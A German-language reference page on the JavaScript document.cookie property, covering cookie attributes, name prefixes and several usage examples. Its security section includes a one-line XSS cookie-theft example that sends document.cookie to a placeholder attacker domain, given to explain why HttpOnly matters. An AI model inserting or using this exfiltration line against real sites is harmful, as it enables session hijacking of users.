Dokument: Cookie-Eigenschaft
Baseline
Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since Juli 2019.
Die Document-Eigenschaft cookie ermöglicht es Ihnen, die Cookies, die mit dem Dokument verbunden sind, zu lesen und zu schreiben. Sie dient als Getter und Setter für die tatsächlichen Werte der Cookies.
Hinweis:
Das document.cookie kann eine Quelle von Leistungsproblemen sein, da es sich um eine synchrone API handelt, die den Haupt-Thread blockiert, wenn Cookies über Prozesse gelesen oder I/O-Operationen durchgeführt werden. Entwickler sollten nach Möglichkeit die asynchrone Cookie Store API verwenden, um Cookies zu verwalten.
Wert
Ein String, der eine durch Semikolons getrennte Liste aller Cookies (d.h. key=value-Paare) enthält. Beachten Sie, dass jedes key und value von Leerzeichen (space und tab characters) umgeben sein kann: Tatsächlich schreibt RFC 6265 ein einzelnes Leerzeichen nach jedem Semikolon vor, aber einige Benutzeragenten halten sich möglicherweise nicht daran.
Sie können dieser Eigenschaft auch einen String der Form "key=value" zuweisen, um das Cookie zu setzen/aktualisieren. Beachten Sie, dass Sie mit dieser Methode nur ein einziges Cookie gleichzeitig setzen/aktualisieren können. Beachten Sie auch, dass:
-
Eines der folgenden Cookie-Attributwerte optional dem Schlüssel-Wert-Paar folgen kann, jeweils mit einem Semikolon als Trennzeichen:
-
;domain=domain(z.B.example.comodersubdomain.example.com): Der Host, an den das Cookie gesendet wird. Wenn nicht angegeben, ist dies standardmäßig der Hostanteil des aktuellen Dokument-Standorts, und das Cookie ist auf Subdomains nicht verfügbar. Wenn eine Domain angegeben ist, sind Subdomains immer eingeschlossen. Entgegen früheren Spezifikationen werden führende Punkte in Domainnamen ignoriert, aber Browser können es ablehnen, das Cookie mit solchen Punkten zu setzen.Hinweis: Die Domain muss mit der Domain des JavaScript-Ursprungs übereinstimmen. Cookies zu fremden Domains zu setzen, wird stillschweigend ignoriert.
-
;expires=date-in-UTCString-format: Das Ablaufdatum des Cookies. Wenn wederexpiresnochmax-ageangegeben ist, läuft es am Ende der Sitzung ab.Warnung: Wenn der Datenschutz des Benutzers ein Anliegen ist, ist es wichtig, dass jede Web-App-Implementierung Cookie-Daten nach einer bestimmten Zeitspanne ungültig macht, anstatt sich darauf zu verlassen, dass der Browser dies übernimmt. Viele Browser erlauben es Benutzern anzugeben, dass Cookies niemals ablaufen sollen, was nicht unbedingt sicher ist.
Siehe
Date.toUTCString()für Hilfe beim Formatieren dieses Werts. -
;max-age=max-age-in-seconds: Die maximale Lebensdauer des Cookies in Sekunden (z.B.60*60*24*365oder 31536000 für ein Jahr). -
;partitioned: Gibt an, dass das Cookie mit partitioniertem Speicher gespeichert werden soll. Siehe Cookies Having Independent Partitioned State (CHIPS) für weitere Details. -
;path=path: Der Wert desPath-Attributs des Cookies (siehe Definieren, wo Cookies gesendet werden für mehr Informationen). -
;samesite: DasSameSite-Attribut einesSet-Cookie-Headers kann von einem Server gesetzt werden, um anzugeben, wann das Cookie gesendet wird. Mögliche Werte sindlax,strictodernone(siehe auch Kontrollieren von Drittanbieter-Cookies mitSameSite).- Der Wert
laxsendet das Cookie für alle gleichseitigen Anfragen und GET-Anfragen für die Navigation auf oberster Ebene. Dies reicht aus, um Benutzer zu verfolgen, verhindert jedoch viele Cross-Site Request Forgery (CSRF)-Angriffe. Dies ist der Standardwert in modernen Browsern. - Der Wert
strictverhindert, dass das Cookie von dem Browser in allen kontextübergreifenden Browsing-Kontexten an die Zielseite gesendet wird, selbst wenn einem regulären Link gefolgt wird. - Der Wert
nonegibt ausdrücklich an, dass keine Einschränkungen angewendet werden. Das Cookie wird in allen Anfragen gesendet - sowohl übergreifend als auch gleichseitig.
- Der Wert
-
;secure: Gibt an, dass das Cookie nur über ein sicheres Protokoll übertragen werden soll.
-
-
Der Cookie-Wert-String kann
encodeURIComponent()verwenden, um sicherzustellen, dass der String keine Kommas, Semikolons oder Leerzeichen enthält (die in Cookie-Werten nicht erlaubt sind). -
Der Cookie-Name kann ein Präfix haben, das spezifische Einschränkungen für die Attribute des Cookies in unterstützenden Benutzeragenten auferlegt. Alle Cookie-Präfixe beginnen mit einem Doppel-Understcore (
__) und enden mit einem Bindestrich (-). Die folgenden Präfixe sind definiert:__Secure-: Cookies mit Namen, die mit__Secure-beginnen, müssen mit demSecure-Attribut von einer sicheren Seite (HTTPS) gesetzt werden.__Host-: Cookies mit Namen, die mit__Host-beginnen, müssen mit demSecure-Attribut von einer sicheren Seite (HTTPS) gesetzt werden. Zusätzlich dürfen sie keinDomain-Attribut haben, und dasPath-Attribut muss auf/gesetzt werden. Dies garantiert, dass solche Cookies nur an den Host gesendet werden, der sie gesetzt hat, und nicht an einen anderen Host auf der Domain. Es garantiert auch, dass sie hostübergreifend gesetzt werden und auf keinem Pfad auf diesem Host überschrieben werden können. Diese Kombination ergibt ein Cookie, das so nah wie möglich behandelt wird, als wäre es eine Sicherheitsgrenze für den Ursprung.__Http-: Cookies mit Namen, die mit__Http-beginnen, müssen mit derSecure-Flag von einer sicheren Seite (HTTPS) gesetzt werden und zusätzlich dasHttpOnly-Attribut haben, um zu beweisen, dass sie über denSet-Cookie-Header gesetzt wurden (sie können nicht über JavaScript-Funktionen wieDocument.cookieoder die Cookie Store API gesetzt oder geändert werden).__Host-Http-: Cookies mit Namen, die mit__Host-Http-beginnen, müssen mit derSecure-Flag von einer sicheren Seite (HTTPS) gesetzt und mit demHttpOnly-Attribut versehen sein, um zu beweisen, dass sie über denSet-Cookie-Header gesetzt wurden. Darüber hinaus haben sie auch die gleichen Einschränkungen wie Cookies mit__Host--Präfix. Diese Kombination führt zu einem Cookie, das so nah wie möglich behandelt wird, als wäre es eine Sicherheitsgrenze für den Ursprung, und gleichzeitig sicherstellt, dass Entwickler und Serverbetreiber wissen, dass ihr Umfang auf HTTP-Anfragen beschränkt ist.
Hinweis: Der Bindestrich wird als Teil des Präfixes betrachtet.
Hinweis: Diese Flags können nur mit dem
secure-Attribut gesetzt werden.
Hinweis:
Die document.cookie-Eigenschaft ist eine Accessor-Eigenschaft mit nativen Setter- und Getter-Funktionen und ist folglich keine Daten-Eigenschaft mit einem Wert: Was Sie schreiben, ist nicht dasselbe wie das, was Sie lesen, alles wird immer vom JavaScript-Interpreter vermittelt.
Beispiele
>Beispiel 1: Einfache Verwendung
<button id="show">Show cookies</button>
<button id="clear">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
output.textContent = `> ${document.cookie}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 2: Ein Beispiel-Cookie mit dem Namen test2 abrufen
<button id="show">Show cookie value</button>
<button id="clear">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
const cookieValue = document.cookie
.split("; ")
.find((row) => row.startsWith("test2="))
?.split("=")[1];
output.textContent = `> ${cookieValue}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 3: Etwas nur einmal tun
Um den folgenden Code verwenden zu können, ersetzen Sie bitte alle Vorkommen des Wortes
doSomethingOnlyOnce (der Name des Cookies) durch einen benutzerdefinierten Namen.
<button id="do-once">Only do something once</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const doOnceBtn = document.getElementById("do-once");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
doOnceBtn.addEventListener("click", () => {
if (
!document.cookie
.split("; ")
.find((row) => row.startsWith("doSomethingOnlyOnce"))
) {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";
output.textContent = "> Do something here!";
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 4: Das vorherige Cookie zurücksetzen
<button id="reset">Reset only once cookie</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const resetBtn = document.getElementById("reset");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
resetBtn.addEventListener("click", () => {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";
const output = document.getElementById("reset-once");
output.textContent = "> Reset!";
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 5: Überprüfen, ob ein Cookie existiert
<button id="check">Check a cookie exists</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";
checkBtn.addEventListener("click", () => {
if (
document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
) {
output.textContent = '> The cookie "reader" exists';
} else {
output.textContent = '> The cookie "reader" does not exist';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 6: Überprüfen, ob ein Cookie einen bestimmten Wert hat
<button id="check">Check that a cookie has a specific value</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
checkBtn.addEventListener("click", () => {
if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
output.textContent = '> The cookie "reader" has a value of "1"';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Sicherheit
Es ist wichtig zu beachten, dass das path-Attribut nicht vor unbefugtem Zugriff auf das Cookie von einem anderen Pfad schützt. Es kann leicht durch das DOM umgangen werden, zum Beispiel durch Erstellen eines versteckten <iframe>-Elements mit dem Pfad des Cookies und dann Zugriff auf die contentDocument.cookie-Eigenschaft dieses iframes. Der einzige Weg, das Cookie zu schützen, ist die Verwendung einer anderen Domain oder Subdomain, aufgrund der Same-Origin-Policy.
Cookies werden häufig in Webanwendungen verwendet, um einen Benutzer und dessen authentifizierte Sitzung zu identifizieren. Das Stehlen eines Cookies von einer Webanwendung führt zur Übernahme der authentifizierten Benutzersitzung. Häufige Wege, um Cookies zu stehlen, sind die Verwendung von Social Engineering oder das Ausnutzen einer Cross-Site-Scripting (XSS)-Schwachstelle in der Anwendung -
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
Das HTTPOnly-Cookie-Attribut kann helfen, diesen Angriff zu mildern, indem es den Zugriff auf den Cookie-Wert über JavaScript verhindert. Lesen Sie mehr über Cookies und Sicherheit.
Hinweise
- Ab Firefox 2 steht ein besserer Mechanismus für clientseitige Speicherung zur Verfügung - WHATWG DOM Storage.
- Sie können ein Cookie löschen, indem Sie dessen Ablaufzeit auf null setzen.
- Beachten Sie, dass je mehr Cookies Sie haben, desto mehr Daten bei jeder Anfrage zwischen dem Server und dem Client übertragen werden. Dies wird jede Anfrage verlangsamen. Es wird dringend empfohlen, WHATWG DOM Storage zu verwenden, wenn Sie "Client-only"-Daten behalten möchten.
- RFC 2965 (Abschnitt 5.3, "Implementation Limits") gibt an, dass es keine maximale Länge der Schlüssel- oder Wertgröße eines Cookies geben sollte und ermutigt Implementierungen, beliebig große Cookies zu unterstützen. Die maximale Kapazität der Implementierung jedes Browsers wird zwangsläufig unterschiedlich sein, daher konsultieren Sie die individuelle Browserdokumentation.
Der Grund für die Asymmetrie zwischen dem Abrufen und Festlegen der document.cookie-Accessor-Eigenschaft liegt in der Client-Server-Natur der Cookies, die sich von anderen Client-Client-Speichermethoden (wie zum Beispiel localStorage) unterscheidet:
-
Der Server weist den Client an, ein Cookie zu speichern:
httpHTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here] -
Der Client sendet seine zuvor gespeicherten Cookies an den Server zurück:
httpGET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
Spezifikationen
| Specification |
|---|
| HTML> # dom-document-cookie> |